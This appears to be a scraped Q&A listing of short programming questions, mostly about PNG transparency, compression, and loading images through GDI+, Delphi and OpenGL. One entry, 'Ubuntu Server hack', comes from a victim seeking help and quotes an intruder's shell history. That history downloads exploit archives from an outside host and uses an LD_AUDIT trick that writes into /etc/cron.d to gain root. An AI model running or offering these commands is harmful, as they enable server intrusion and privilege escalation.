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  • Creating transparent PNG with exact RGBA values

    - by rrowland
    I'm color-coding a transparent image to be read programatically. However, the image seems to be getting compressed and my code is reading color values other than the ones I mean to pass it. Concept This is the output I get, exporting as PNG-24. I programatically check each pixel for one of the six colors I use in creating the image: 0x00000F 0x0000F0 0x000F00 0x00F000 0x0F0000 0xF00000 Each color represents a different texture to apply. Top right (0x00000F) will pull texture from the tile to its top right and blend it at a ratio equal to the opacity of the pixel. The end goal is to create a hex tiled grid with differing textures that blend smoothly. What's happening It seems that when converting to PNG, Photoshop will change the RGBA to make it smoother, or just to help compression size. Parts that should be 250 red range anywhere from 150 to 255. Question Whether using PNG or another web-compatible format, I need to be able to save these pixel values, essentially instructions, loss-less and still maintain transparency. Is this possible in any format or will I need to re-think my approach?

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  • How to compress a huge amount of PNG images?

    - by T Pops
    At work, on certain projects I have to manage a lot of images. Most of the time PNG files work the best for what I'm doing. With such a huge amount of images, I've tried using PNG compression with PNG Gauntlet but sometimes the file doesn't really change and sometimes PNG Gauntlet reports it would've made the filesize bigger! Am I just maxing out the compression or is there something more I can do?

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  • Exporting to PNG from Adobe Illustrator cutting off edges

    - by Luther Baker
    I created a 40px x 40px image in Adobe Illustrator CS4. I saved as an .ai file and then tried to export as a PNG. Adobe Illustrator automatically crops the background and tightens the export to a rect around all the objects which if fine. In this case, I am not working edge to edge so my image is not quite 40px wide. But, unfortunately, Illustrator is not exporting the entire image. I end up with an image that is 34px wide. Indeed, the icon I draw starts on the left hand side but the right edge of my object cut off. Any ideas why this is happening? I can't imagine Illustrator CS4 can't correctly to export to PNG.

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  • Transparent PNG menu item backgrounds in IE6 with rollovers

    - by evh
    Hi I have been trying to do this for what feels like all my life I have a list menu with block display links, each link has a sliding doors png background image. I have used this javascript (http://www.ideashower.com/our_solutions/png-hover/) to implement the alphaimageloader fix for ie6 using a transparent gif. When I test it for the first time it works but if I click to a different page and then click back it doesn't work anymore - the menu completely disappears, I can get it to work again by duplicating the transparent gif and changing it's name, but again if I go to another page and then come back to it, it stops working and the menu dissappears. Is this a server caching issue or something like that. Any thoughts on this would be much appreciated! Thanks

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  • CSS hack for Safari ONLY

    - by Jakub Lédl
    Hey guys, I'm solving one task and I need to create a piece of CSS what would apply only in Safari, NOT the other WebKit browser (mustn't apply in Chrome, f.e.). Please, could anyone toss in some ideas?

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  • c# Bitmap.Save transparancy doesn't save in png

    - by kelton52
    I'm trying to save a Bitmap class that has transparancy as a png file with transparancy. I'm having no luck. The bitmap has transparancy, it just doesn't save with transparancy. this is what I'm doing bitmap setup Bitmap ret = new Bitmap(bWidth, bHeight, System.Drawing.Imaging.PixelFormat.Format32bppArgb); saveing ret.Save(filename, ImageFormat.Png); I also tried saving the file with a filestream, and that made no difference. When the image is in a Picture box the transparancy exists, but when I save i I just get a black background. I really don't want to use any 3rd party code, they found a way to do it, I'd like to also. thanks.

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  • IE7,8 Alpha PNG fade

    - by dclowd9901
    Does anyone know what is causing this issue? http://i.imgur.com/z1pzh.png The div in question has a solid 1x1 alpha opaque png repeating in its background-image property, and it's supposed to be all one bg color, not that fading effect. It doesn't appear in FF, Opera or Chrome. If you need more details, I can provide some CSS, but I assure you the CSS is in order. If someone doesn't just out-and-out know why this is happening, they more than likely won't find an answer looking in the code.

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  • Ubuntu Server hack [closed]

    - by haxpanel
    Hi! I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history file: w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd The system is in a jail. Does it matter in the current case? What shall i do? Thanks for everyone!! I have done these: - ban the connected ssh host with iptables - stoped the sshd in the jail - saved: bach_history, syslog, dmesg, files in the bash_history's wget lines

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  • IE6 PNG-transparency CSS hack not working

    - by John
    I looked around and decided to use a CSS approach rather than rely on JS... I figure the kind of corporate users stuck with IE6 might also have JS disabled by IT departments. So In my HTML I have: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8" /> <title>My Page</title> <link rel="stylesheet" type="text/css" href="default.css" /> <!--[if IE 6]><link rel="stylesheet" type="text/css" href="ie6.css"><![endif]--> </head> <body> <img src="media/logo.png"/> </body> Then my ie6.css consists simply of: img { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(...); } However none of this makes the slightest difference, no transparency. I commented out all the rest of the page so it is literally that one and still no luck. I removed the default.css stylesheet and still no difference.

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  • [solved] IE6 PNG-transparency CSS hack not working

    - by John
    I looked around and decided to use a CSS approach rather than rely on JS... I figure the kind of corporate users stuck with IE6 might also have JS disabled by IT departments. So In my HTML I have: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8" /> <title>My Page</title> <link rel="stylesheet" type="text/css" href="default.css" /> <!--[if IE 6]><link rel="stylesheet" type="text/css" href="ie6.css"><![endif]--> </head> <body> <img src="media/logo.png"/> </body> Then my ie6.css consists simply of: img { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(...); } However none of this makes the slightest difference, no transparency. I commented out all the rest of the page so it is literally that one and still no luck. I removed the default.css stylesheet and still no difference. EDIT: I now got it working, using the .htc method, loading that file in a conditional IE6 test block. It turned out the problem I was having was that Windows 7 had 'locked' the file (I don't even know what this means) and this blocked IE from loading/using it.

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  • Why are PNG-8 files mangled when opened in Photoshop?

    - by Daniel Beardsley
    Why are some 32 bit PNGs opened in Photoshop with Indexed Colors and no transparency? For instance, I grabbed a png icon file of the Stack Overflow logo at: http://blog.stackoverflow.com/wp-content/uploads/icon-so.png When opening it in Photoshop CS3, it apparently treats it as indexed color and gets rid of the alpha channel. The image on the right is a screen grab of the icon. Changing the Image mode in Photoshop to RGB doesn't change the image at all. I've tried this with a few other PNGs and it seems hit or miss. When viewed in other programs, it displays fine. left:png opened in Photoshop, right:screen grab of png from browser What gives?, does Photoshop not interpret the PNG file format correctly?

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  • GDI+ crashes when loading PNG from IStream

    - by konforce
    I wrote something to load PNG files from a custom C++ IStream via GDI+. It worked great until I ran it on Vista machines. Crashes every time. When compiled on VS 2008, I found that inserting code into the IStream::AddRef method, such as a cout, made the problem go away. When compiling with VS 2010, it still crashes regardless of that. I stripped the program down to its basics. I copied a FileStream straight from Microsoft's documentation. It can load PNGs when using Bitmap::FromFile. It can load JPEGs, GIFs, and BMPs via FromFile or FromStream. So in short: on Vista, PNG files loaded via Bitmap::FromStream crash. #pragma comment(lib, "gdiplus.lib") #include <iostream> #include <objidl.h> #include <gdiplus.h> class FileStream : public IStream { public: FileStream(HANDLE hFile) { _refcount = 1; _hFile = hFile; } ~FileStream() { if (_hFile != INVALID_HANDLE_VALUE) { ::CloseHandle(_hFile); } } public: HRESULT static OpenFile(LPCWSTR pName, IStream ** ppStream, bool fWrite) { HANDLE hFile = ::CreateFileW(pName, fWrite ? GENERIC_WRITE : GENERIC_READ, FILE_SHARE_READ, NULL, fWrite ? CREATE_ALWAYS : OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) return HRESULT_FROM_WIN32(GetLastError()); *ppStream = new FileStream(hFile); if(*ppStream == NULL) CloseHandle(hFile); return S_OK; } virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID iid, void ** ppvObject) { if (iid == __uuidof(IUnknown) || iid == __uuidof(IStream) || iid == __uuidof(ISequentialStream)) { *ppvObject = static_cast<IStream*>(this); AddRef(); return S_OK; } else return E_NOINTERFACE; } virtual ULONG STDMETHODCALLTYPE AddRef(void) { return (ULONG)InterlockedIncrement(&_refcount); } virtual ULONG STDMETHODCALLTYPE Release(void) { ULONG res = (ULONG) InterlockedDecrement(&_refcount); if (res == 0) delete this; return res; } // ISequentialStream Interface public: virtual HRESULT STDMETHODCALLTYPE Read(void* pv, ULONG cb, ULONG* pcbRead) { ULONG local_pcbRead; BOOL rc = ReadFile(_hFile, pv, cb, &local_pcbRead, NULL); if (pcbRead) *pcbRead = local_pcbRead; return (rc) ? S_OK : HRESULT_FROM_WIN32(GetLastError()); } virtual HRESULT STDMETHODCALLTYPE Write(void const* pv, ULONG cb, ULONG* pcbWritten) { BOOL rc = WriteFile(_hFile, pv, cb, pcbWritten, NULL); return rc ? S_OK : HRESULT_FROM_WIN32(GetLastError()); } // IStream Interface public: virtual HRESULT STDMETHODCALLTYPE SetSize(ULARGE_INTEGER) { return E_NOTIMPL; } virtual HRESULT STDMETHODCALLTYPE CopyTo(IStream*, ULARGE_INTEGER, ULARGE_INTEGER*, ULARGE_INTEGER*) { return E_NOTIMPL; } virtual HRESULT STDMETHODCALLTYPE Commit(DWORD) { return E_NOTIMPL; } virtual HRESULT STDMETHODCALLTYPE Revert(void) { return E_NOTIMPL; } virtual HRESULT STDMETHODCALLTYPE LockRegion(ULARGE_INTEGER, ULARGE_INTEGER, DWORD) { return E_NOTIMPL; } virtual HRESULT STDMETHODCALLTYPE UnlockRegion(ULARGE_INTEGER, ULARGE_INTEGER, DWORD) { return E_NOTIMPL; } virtual HRESULT STDMETHODCALLTYPE Clone(IStream **) { return E_NOTIMPL; } virtual HRESULT STDMETHODCALLTYPE Seek(LARGE_INTEGER liDistanceToMove, DWORD dwOrigin, ULARGE_INTEGER* lpNewFilePointer) { DWORD dwMoveMethod; switch(dwOrigin) { case STREAM_SEEK_SET: dwMoveMethod = FILE_BEGIN; break; case STREAM_SEEK_CUR: dwMoveMethod = FILE_CURRENT; break; case STREAM_SEEK_END: dwMoveMethod = FILE_END; break; default: return STG_E_INVALIDFUNCTION; break; } if (SetFilePointerEx(_hFile, liDistanceToMove, (PLARGE_INTEGER) lpNewFilePointer, dwMoveMethod) == 0) return HRESULT_FROM_WIN32(GetLastError()); return S_OK; } virtual HRESULT STDMETHODCALLTYPE Stat(STATSTG* pStatstg, DWORD grfStatFlag) { if (GetFileSizeEx(_hFile, (PLARGE_INTEGER) &pStatstg->cbSize) == 0) return HRESULT_FROM_WIN32(GetLastError()); return S_OK; } private: volatile HANDLE _hFile; volatile LONG _refcount; }; #define USE_STREAM int main() { Gdiplus::GdiplusStartupInput gdiplusStartupInput; ULONG_PTR gdiplusToken; Gdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL); Gdiplus::Bitmap *bmp; #ifndef USE_STREAM bmp = Gdiplus::Bitmap::FromFile(L"test.png", false); if (!bmp) { std::cerr << " Unable to open image file." << std::endl; return 1; } #else IStream *s; if (FileStream::OpenFile(L"test.png", &s, false) != S_OK) { std::cerr << "Unable to open image file." << std::endl; return 1; } bmp = Gdiplus::Bitmap::FromStream(s, false); #endif std::cout << "Image is " << bmp->GetWidth() << " by " << bmp->GetHeight() << std::endl; Gdiplus::GdiplusShutdown(gdiplusToken); #ifdef USE_STREAM s->Release(); #endif return 0; } Tracing and debugging, shows that it does make some calls to the IStream class. It crashes inside of lastResult = DllExports::GdipCreateBitmapFromStream(stream, &bitmap); from GdiPlusBitmap.h, which is a static inline wrapper over the flat API. Other than the reference counting, the only IStream methods it calls is stat (for file size), read, and seek. Call stack looks like: ntdll.dll!_DbgBreakPoint@0() + 0x1 bytes ntdll.dll!_RtlpBreakPointHeap@4() + 0x28 bytes ntdll.dll!_RtlpValidateHeapEntry@12() + 0x70a3c bytes ntdll.dll!_RtlDebugFreeHeap@12() + 0x9a bytes ntdll.dll!@RtlpFreeHeap@16() + 0x13cdd bytes ntdll.dll!_RtlFreeHeap@12() + 0x2e49 bytes kernel32.dll!_HeapFree@12() + 0x14 bytes ole32.dll!CRetailMalloc_Free() + 0x1c bytes ole32.dll!_CoTaskMemFree@4() + 0x13 bytes GdiPlus.dll!GpPngDecoder::GetImageInfo() + 0x68 bytes GdiPlus.dll!GpDecodedImage::InternalGetImageInfo() + 0x3c bytes GdiPlus.dll!GpDecodedImage::GetImageInfo() + 0x18 bytes GdiPlus.dll!CopyOnWriteBitmap::CopyOnWriteBitmap() + 0x49 bytes GdiPlus.dll!CopyOnWriteBitmap::Create() + 0x1d bytes GdiPlus.dll!GpBitmap::GpBitmap() + 0x2c bytes I was unable to find anybody else with the same problem, so I assume there's something wrong with my implementation...

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  • GDI+ & Delphi, PNG resource, DrawImage, ColorConversion -> Out of Memory

    - by Paul
    I have started to toy around with GDI+ in Delphi 2009. Among the things that I wanted to do was to load a PNG resource and apply a Color Conversion to it when drawing it to the Graphics object. I am using the code provided in http://www.bilsen.com/gdiplus/. To do that I just added a new constructor to TGPBitmap that uses the same code found in <www.codeproject.com>/KB/GDI-plus/cgdiplusbitmap.aspx (C++) or <www.masm32.com>/board/index.php?topic=10191.0 (MASM) converted to Delphi. For reference, the converted code is as follows: constructor TGPBitmap.Create(const Instance: HInst; const PngName: String; dummy : PngResource_t); const cPngType : string = 'PNG'; var hResource : HRSRC; imageSize : DWORD; pResourceData : Pointer; hBuffer : HGLOBAL; pBuffer : Pointer; pStream : IStream; begin inherited Create; hResource := FindResource(Instance, PWideChar(PngName), PWideChar(cPngType)); if hResource = 0 then Exit; imageSize := SizeofResource(Instance, hResource); if imageSize = 0 then Exit; pResourceData := LockResource(LoadResource(Instance, hResource)); if pResourceData = nil then Exit; hBuffer := GlobalAlloc(GMEM_MOVEABLE, imageSize); if hBuffer <> 0 then begin try pBuffer := GlobalLock(hBuffer); if pBuffer <> nil then begin try CopyMemory(pBuffer, pResourceData, imageSize); if CreateStreamOnHGlobal(hBuffer, FALSE, pStream) = S_OK then begin GdipCheck(GdipCreateBitmapFromStream(pStream, FNativeHandle)); end; finally GlobalUnlock(hBuffer); pStream := nil; end; end; finally GlobalFree(hBuffer); end; end; end; The code seems to work fine as I am able to draw the loaded image without any problems. However, if I try to apply a Color Conversion when drawing it, then I get a lovely error: (GDI+ Error) Out of Memory. If I load the bitmap from a file, or if I create a temporary to which I draw the initial bitmap and then use the temporary, then it works just fine. What bugs me is that if I take the C++ project from codeproject, add the same PNG as resource and use the same color conversion (in other words, do the exact same thing I am doing in Delphi in the same order and with the same function calls that happen to go to the same DLL), then it works. The C++ code looks like this: const Gdiplus::ColorMatrix cTrMatrix = { { {1.0, 0.0, 0.0, 0.0, 0.0}, {0.0, 1.0, 0.0, 0.0, 0.0}, {0.0, 0.0, 1.0, 0.0, 0.0}, {0.0, 0.0, 0.0, 0.5, 0.0}, {0.0, 0.0, 0.0, 0.0, 1.0} } }; Gdiplus::ImageAttributes imgAttrs; imgAttrs.SetColorMatrix(&cTrMatrix, Gdiplus::ColorMatrixFlagsDefault, Gdiplus::ColorAdjustTypeBitmap); graphics.DrawImage(*pBitmap, Gdiplus::Rect(0, 0, pBitmap->m_pBitmap->GetWidth(), pBitmap->m_pBitmap->GetHeight()), 0, 0, pBitmap->m_pBitmap->GetWidth(), pBitmap->m_pBitmap->GetHeight(), Gdiplus::UnitPixel, &imgAttrs); The Delphi counterpart is: const cTrMatrix: TGPColorMatrix = ( M: ((1.0, 0.0, 0.0, 0.0, 0.0), (0.0, 1.0, 0.0, 0.0, 0.0), (0.0, 0.0, 1.0, 0.0, 0.0), (0.0, 0.0, 0.0, 0.5, 0.0), (0.0, 0.0, 0.0, 0.0, 1.0))); var lImgAttrTr : IGPImageAttributes; lBitmap : IGPBitmap; begin // ... lImgAttrTr := TGPImageAttributes.Create; lImgAttrTr.SetColorMatrix(cTrMatrix, ColorMatrixFlagsDefault, ColorAdjustTypeBitmap); aGraphics.DrawImage ( lBitmap, TGPRect.Create ( 0, 0, lBitmap.Width, lBitmap.Height ), 0, 0, lBitmap.Width, lBitmap.Height, UnitPixel, lImgAttrTr ); I am completely clueless as to what may be causing the issue, and Google has not been of any help. Any ideas, comments and explanations are highly appreciated.

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  • PNG Transparency Problems in IE8

    - by user138777
    I'm having problems with a transparent PNG image showing black dithered pixel artifacts around the edge of the non transparent part of the image. It only does this in Internet Explorer and it only does it from a Javascript file it is used in. Here's what I'm talking about... http://70.86.157.71/test/test3.htm (link now dead) ...notice the girl in the bottom right corner. She has artifacts around her in IE8 (I haven't tested it in previous versions of IE, but I'm assuming it probably does the same). It works perfectly in Firefox and Chrome. The image is loaded from a Javascript file to produce the mouseover effect. If you load the image all by itself, it works fine. Here's the image... http://70.86.157.71/test/consultant2.png Does anyone know how to fix this? The image was produced in Photoshop CS3. I've read things about removing the Gama, but that apparently was in previous versions of Photoshop and when I load it in TweakPNG, it doesn't have Gama. Please help!

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  • png image blurry when loaded onto texture

    - by Chris
    I have created a png image in photoshop with transparencies that I have loaded into and OpenGL program. I have binded it to a texture and in the program the picture looks blurry and I'm not sure why. Loading Code // Texture loading object nv::Image title; // Return true on success if(title.loadImageFromFile("test.png")) { glGenTextures(1, &titleTex); glBindTexture(GL_TEXTURE_2D, titleTex); glTexParameteri(GL_TEXTURE_2D, GL_GENERATE_MIPMAP, GL_TRUE); glTexImage2D(GL_TEXTURE_2D, 0, title.getInternalFormat(), title.getWidth(), title.getHeight(), 0, title.getFormat(), title.getType(), title.getLevel(0)); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT); glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAX_ANISOTROPY_EXT, 16.0f); } else MessageBox(NULL, "Failed to load texture", "End of the world", MB_OK | MB_ICONINFORMATION); Display Code glEnable(GL_TEXTURE_2D); glEnable(GL_BLEND); glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); glBindTexture(GL_TEXTURE_2D, titleTex); glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_REPLACE); glTranslatef(-800, 0, 0.0); glColor3f(1,1,1); glBegin(GL_QUADS); glTexCoord2f(0.0, 0.0); glVertex2f(0,0); glTexCoord2f(0.0, 1.0); glVertex2f(0,600); glTexCoord2f(1.0, 1.0); glVertex2f(1600,600); glTexCoord2f(1.0, 0.0); glVertex2f(1600,0); glEnd(); glDisable(GL_BLEND); glDisable(GL_TEXTURE_2D);

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  • Rotating png images using css in IE

    - by Ernest Shulikovski
    Here is a mockup for something called "Diversity Disc": http://diversity.iest.pl/ It is just three disks that you can rotate and read "results". I am using there just four png images, and rotate using jQuery f.i: $.fn.rleft = function() { return this.animate({ rotate: '-=45deg' }); }; It works not so bad in most new browser. But in all versions of IE things go terribly wrong. There is problem with rotation, and with png: after rotation, there is happening something very ugly with alpha transparency of those images. So my question is, is this possible to make it work in IE 8 and 7 (and, more or less IE 6?). If no I will be forced to order it in Flash. But I would like first to try to do it using just css and javascript (svg?). So what I am doing wrong? Do you have any tips, for using different technology, or js library? Thank you in advance for any answers.

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  • Convert SVG image with filters to PNG /PDF

    - by user1599669
    I have the following svg image to the png image & pdf image with 300 DPI. <svg width="640" height="480" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- Created with SVG-edit - http://svg-edit.googlecode.com/ --> <defs> <filter height="200%" width="200%" y="-50%" x="-50%" id="svg_1_blur"> <feGaussianBlur stdDeviation="10" in="SourceGraphic"/> </filter> </defs> <g> <title>Layer 1</title> <image filter="url(#svg_1_blur)" xlink:href="images/logo.png" id="svg_1" height="162.999996" width="223.999992" y="99" x="185"/> <text xml:space="preserve" text-anchor="middle" font-family="serif" font-size="24" id="svg_2" y="210" x="289" stroke-width="0" stroke="#000000" fill="#000000">sdfdsdsfsdf</text> </g> </svg> I want to do this using PHP and I have applied filters to the blur filter to the image and I want to retain that. Also I have problem in viewing this image in the IE, because it doesn't show the blur effect on IE9. Any suggestions?

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  • jquery toggle and transprent PNG

    - by tony noriega
    i have a jquery toggle that animates and displays a DIV. i have a transparent PNG , drop shadow type background image, and when it first appears, i see a black background then it dissapears once the image loads... is there a way around that? is that a bug? i have it animating slow, so maybe that has something to do with it... should i just make it show()?

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